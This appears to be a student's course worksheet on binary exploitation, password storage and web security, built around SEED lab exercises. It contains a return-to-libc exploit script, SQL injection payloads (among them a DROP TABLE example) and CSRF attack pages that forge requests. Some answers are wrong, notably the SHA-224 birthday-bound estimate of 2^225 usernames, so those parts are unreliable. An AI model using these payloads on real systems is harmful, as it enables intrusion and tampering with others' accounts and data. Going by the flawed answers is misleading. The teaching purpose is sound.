yz709_supo02

1. Binary Exploitation

Exercise 1

Our shell code starts with assembly instruction **`xor eax, eax`**. Why does it use that instruction instead of using the (simpler) **`mov eax, 0`** alternative that produces the same result?

- Because if we use `strcpy()`, it will stop copying contents after encountering the null character, which has a hex value of `0x0`, hence if we use the simpler instruction, all contents after the first assembly instruction will not be copied, thus our attack would fail.

Comments:

Exercise 2

Exercise 2. *SEED Lab III*

Please work on this SEED Lab: `https://seedsecuritylabs.org/Labs_20.04/Software/Return_to_Libc/`.

Try to do it on your own, but I do not mind if you work together when you get stuck. Just avoid copying from others, but rather do some pair-programming.

Focus on tasks 1, 2, and 3. If you have time, try to look at task 4.

- Task 1, 2, 3:

```
system: 0xf7e13420
exit: 0xf7e05f80
MYSHELL: 0xffffd357
ebp: 0xffffcc58
buffer: 0xffffcc40
ebp - buffer = 24

system stored in 24 + 4 = 28
exit stored in RA field in system stack frame: 28 + 4 = 32
argument MYSHELL stored in argument field in system stack frame: 32 + 4 = 36

Attack variation 1:
  - exit() function ensures system function returns properly
    instead of causing a segmentation fault
Attack variation 2:
  - if name length of `prtenv` is different from `retlib`,
    then address of MYSHELL will be different
```

```
# exploit.py
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd357       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e13420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e05f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

💡 Comments:

2. Passwords

Exercise 3

You inspect a modern web application and observe that the password entry in the database is different for two users even though both have chosen the same password. Explain which technique this application uses and why it is important.

- Salting is used, for each password, a random string (salt) is generated, and the concatenation of the password and the salt gets hashed to form the digest. Hence even if two users choose the same password, the salt generated would be different (for an n bit salt, the probability of two people having the same salt is $\frac{1}{2^n}$), therefore, the two digests in the password entry in the database are different.
- It is important because it could be used to defeat dictionary attacks and lookup table attacks, and stop attackers from cracking weak passwords with just a lookup. A salt with n bit increases attackers' computation time by a factor of 2^n but does not increase the verification computation.

💡 Comments:

Exercise 4

Alice wants to protect the identity of the users on their website very thoroughly. In order to do this, their website does not store the usernames directly in the database. Instead they compute the SHA-224 hashes of those usernames instead and stores these. After how many users do they expect that two usernames result in the same hash value even when every new users chooses a unique username?

- SHA-224 provides a hash value of $n = 224$ bits.

- The collision for a hash function is a direct application of the birthday problem, assume we have m usernames to hash, then the probability of collision is about $\frac{m}{2^{n+1}}$
- Hence after $\frac{2^{n+1}}{m} = \frac{2^{225}}{m} = 1 \implies m = 2^{225}$ usernames, we would expect a colision

Comments:

Exercise 5

Alice has invented an alternative password manager that helps them to have unique passwords $p_1, p_2, \ldots$ for every webpage while only having to remember one master password K. For every webpage with URL U they compute $p = \text{SHA-256}(U + \text{""} + K)$ and uses the result as the unique password p for this website.

Name one advantage and one disadvantage of this approach over a regular password manager that stores all login information in an encrypted database.

- Advantage:
  - Reduce storage requirement, because only the master password K need to be remembered, the URL U will be provided and the password p could be generated as needed.
- Disadvantage:
  - The master password K is the single failure point because once attackers get the master password, they can crack all webpage passwords by computing SHA-256.
  - We can no long lookup the password in the encrypted database using $O(1)$, but need to carry out the SHA-256 computation which is no longer $O(1)$.

Comments:

3. Web security

Exercise 6

Exercise 6. *SEED Lab IV*
Please work on this SEED Lab: `https://seedsecuritylabs.org/Labs_20.04/Web/Web_SQL_Injection/`.

Focus on tasks 2 and 3.

```
(* Task 2.1: decide what to type to log into the Admin account *)
admin' #
(* Task 2.2: use the command line to carry out Task 2.1 *)
curl 'www.seed-server.com/unsafe_home.php?username=Admin%27%23#'
(* Task 2.3: append a new SQL statement *)
- does not work because of the countermeasure in PHP's `mysqli` extension,
  the `mysqli::query()` API does not allow multiple queries to run
- we can run multiple queries using `mysqli::multi_query()` API

(* Task 3.1: modify your own salary on the edit profile page *)
winner', salary=1234567 WHERE EID=10000 #
(* Task 3.2: modify other people's salary on the edit profile page *)
loser', salary=1 WHERE EID=20000 #
(* Task 3.3: modify other people's password *)
loser', Password='bobyisaloser' WHERE EID=20000 #
```

💡 Comments:

Exercise 7

Exercise 7. *SEED Lab V*
Please work on this SEED Lab: `https://seedsecuritylabs.org/Labs_20.04/Web/Web_CSRF_Elgg/`.

Focus on tasks 1, 2, 3, and 4. If you have time, try to look at task 5.

```
(* Task 1: Observe a Get Request *)
http://www.seed-server.com/action/friends/add?friend=58
      &__elgg_ts=1648491568
      &__elgg_token=h7S7iJMEC-ZpTk_GBxHd9w
      &__elgg_ts=1648491563
```

```
      &__elgg_token=T3acTCNhdM7Y3u9QMCZ9yQ

(* Task 2: Add Friend Get Request Attack *)
<html>
<body>
<h1>This page forges an HTTP GET request</h1>
<img src="http://www.seed-server.com/action/friends/add?friend=59"
     alt="image" width="1" height="1" />
</body>
</html>

(* Task 3: Edit Profile Post Request Attack *)
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">

function forge_post()
{
var fields;

// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won't be able to see them.
fields += "<input type='hidden' name='name' value='alice'>";
fields += "<input type='hidden' name='briefdescription'
          value='Samy is mine!!!'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]'
          value='2'>";
fields += "<input type='hidden' name='guid' value='56'>";

// Create a <form> element.
var p = document.createElement("form");

// Construct the form
p.action = "http://www.seed-server.com/action/profile/edit";
p.innerHTML = fields;
p.method = "post";

// Append the form to the current page.
document.body.appendChild(p);

// Submit the form
p.submit();
}


// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>
```

- Question 3.1: We can get Alice's `guid` by visiting her profile from any account

```
elgg.page_owner = {"guid":56, ...}
```

- Question 3.2:
  - Yes, he can store the username and the corresponding `guid` inside a lookup table and the program will change the webpage content dynamically when a user visited the page by asking users to type in a username.
- Task 4:
  - Same-site cookie: cookies are separated into `normal` and `same-site`, while `same-site` cookies are further separated into `Strict` and `Lax`. e.g., implemented in several browsers including Chrome and Opera.
    - Normal cookies are attached for all requests;
    - Strict same-site cookies are only attached for same-site requests;
    - Lax same-site cookies are attached for same-site requests and cross-site GET requests but not POST requests;

Comments:

Exercise 8

Exercise 8.
Find three potential security vulnerabilities in the following PHP-like code for a login page on a website. Give the name of the vulnerability, line numbers of the vulnerable code, and a brief description of how to fix it.

```
1  <?php
2      function check_password($a, $b) {
3          if ($a.size != $b.size) return false;
4          for (int $i=0; $i<$a.size; $i++) {
5              if ($a[$i] != $b[$i]) return false;
6          }
7          return true;
8      }
9
10     $username = $REQUEST["form_login_input_user"]
11     $pw = exec_sql("SELECT password FROM users WHERE name=$username");
12     $success = check_password($REQUEST["form_login_input_password"], $pw);
13
14     echo "<html><body>";
15     if ($success) {
16         set_session_cookie();
17         echo "You are now logged in as $username";
18     } else {
19         echo "Could not login as $username";
20     }
21     echo "</body></html>";
22 ?>
```

- Line 2:
  - Attackers can carry out timing attacks because it takes a different amount of time to compare a correct password and an incorrect password. Hence attacker can guess the size of the password easily.
  - Since this program has no limit on attempts of entering passwords, the attacker can write a program to input multiple passwords and analyse the time taken, the attacker can carry out movie hacking to guess character by character.
  - Can be fixed by hashing the password first to a digest and then comparing the two digests.
- Line 11:
  - `username` can also include a command, e.g., `alice; DROP TABLE users;` which could make some damage to the database.
  - `username` can also include a command to update the password of a particular user, e.g, `alice; UPDATE users SET password = aaa WHERE username = alice; SELECT password FROM users where name=alice`, then the attacker can input `aaa` as the password for Alice.
  - Can be fixed by disabling multiple queries as a single input.

Comments:

4. Real world security (Optional)

Exercise 9. *(this exercise is entirely optional)*
In this question we look at a real software vulnerability that I have written – and fixed afterwards.

Look at the following code section that is taken from the original commit: `https://github.com/facebook/fresco/blob/50aad945e8ce3e703aac18260dd7c46fce1546c3/imagepipeline/src/main/jni/filters/blur_filter.c#L209-L224`.

The variables `w, h` are of type `int32_t`, `sizeof(pixel_t)==4`, and `pixel_t* pixelPtr` points to an array of size `w*h*sizeof(pixel_t)`.

Find a common C vulnerability. It's one that we have not yet discussed in the lectures and relates to the types of the numbers in the code.

Explain how an attack *could* work and which parameters an attacker needs to control. Any kind of memory corruption or out-of-bound read/write counts as a successful attack. How would a fix look like?

```
209  // temporary array for the output of the currently blurred row OR column
210  pixel_t* tempRowOrColumn = (pixel_t*) malloc(max(w, h) * sizeof(pixel_t));
211  if (!tempRowOrColumn) {
212    free(div);
213    safe_throw_exception(env, "Failed to allocate memory: tempRowOrColumn");
214    return;
215  }
216
217  for (int i = 0; i < iterations; i++) {
218    // blur rows one-by-one
219    for (int row = 0; row < h; row++) {
220      internalHorizontalBlur(pixelPtr, tempRowOrColumn, w, row, diameter, div);
221
222      // copy output row pixels back to bitmap
223      memcpy(pixelPtr + w * row, tempRowOrColumn, w * sizeof(pixel_t));
224    }
```

From the Fresco Open-Source Android Library; Copyright (c) 2015-present, Facebook, Inc.

- The statement `malloc (max(w,h) * sizeof(pixel_t))` would allocate a memory chunk of either `w * sizeof(pixel_t)` or `h *sizeof(pixel_t)` depends on the size of `w` and `h`.
- `memcpy` will copy `w * sizeof(pixel_t)` amount of memory from `tempRowOrColumn` to the buffer without any exception thrown.
- If the attacker controls the value of `w * sizeof(pixel_t)`, and copies more than needed to the buffer, he can carry out a buffer overflow attack, potentially overwriting the return address and letting the program jump to a malicious code segment in the memory space.

Comments: I am not sure about this question, and would be interested in knowing how the real attack is taken place.